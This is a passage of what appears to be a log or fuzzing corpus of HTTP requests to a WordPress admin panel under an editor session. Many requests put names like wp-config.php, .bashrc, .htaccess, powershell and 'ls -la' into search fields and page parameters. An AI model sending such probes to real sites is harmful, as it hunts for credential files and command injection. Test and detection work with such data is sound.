wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?search=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-install.php?search=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?search=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/post.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit-comments.php?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""} +{"method": "GET", "target": "/wp-admin/users.php?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?search=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-install.php?search=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?search=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/post.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214704"], "body": ""} +{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2Fedit.php%3Fs%3Dpython3&reauth=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214704"], "body": ""} +{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2Fedit.php%3Fs%3Dpowershell&reauth=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin.php?page=menu-.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251825"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin.php?page=menu-example-settings", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251825"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin.php?page=menu-ls%20-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin.php?page=menu-powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin.php?page=menu-python3-tools", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""} +{"method": "GET", "target": "/wp-admin/options-general.php?page=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""} +{"method": "GET", "target": "/wp-admin/options-general.php?page=example-settings", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""} +{"method": "GET", "target": "/wp-admin/options-general.php?page=ls%20-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""} +{"method": "GET", "target": "/wp-admin/options-general.php?page=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""} +{"method": "GET", "target": "/wp-admin/options-general.php?page=python3-tools", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""} +{"method": "GET", "target": "/wp-admin/tools.php?page=tools-.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""} +{"method": "GET", "target": "/wp-admin/tools.php?page=tools-example-settings", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", 